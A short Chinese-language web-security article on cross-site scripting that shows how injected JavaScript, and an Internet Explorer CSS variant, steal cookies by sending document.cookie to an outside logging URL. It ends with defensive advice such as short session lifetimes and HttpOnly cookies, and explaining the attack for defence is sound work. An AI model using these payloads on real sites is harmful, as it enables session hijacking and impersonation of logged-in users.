竊取網頁瀏覽中的cookie值
下面的的 JavaScript 代碼就可以竊取Cookie,是不是很簡單?
<script>
new Image().src =
"http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);
</script>
如果我可以將這段代碼插入到某個登陸用戶的頁面,則Cookie就會通過 HTTP 請求發送給我,然後我就可以僞造那個可憐的登陸用戶了!
在 IE 瀏覽器上,可以通過在 CSS 代碼中執行 JavaScript 來竊取Cookie,也很簡單。
<style>
.getcookies{
background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');
}
</style>
<p class="getcookies"></p>
如果你對用戶發佈的文本內容不進行嚴格的過濾的話,黑客就可以很方便地竊取Cookie。是不是很可怕?如果你是一個負責任的開發者的話,你就應該保持警惕!因此,你必須假設所有用戶的Cookie都被竊取了。注意,是所有用戶,對於這一點,我不想含糊其辭。
爲了保證安全:請不停地重設session的重設;將過期時間設置短一些;監控referrer與userAgent的值;使用HttpOnly禁止腳本讀取Cookie。這些措施並非萬無一失,但是增加了黑客的難度,因此也是有效的。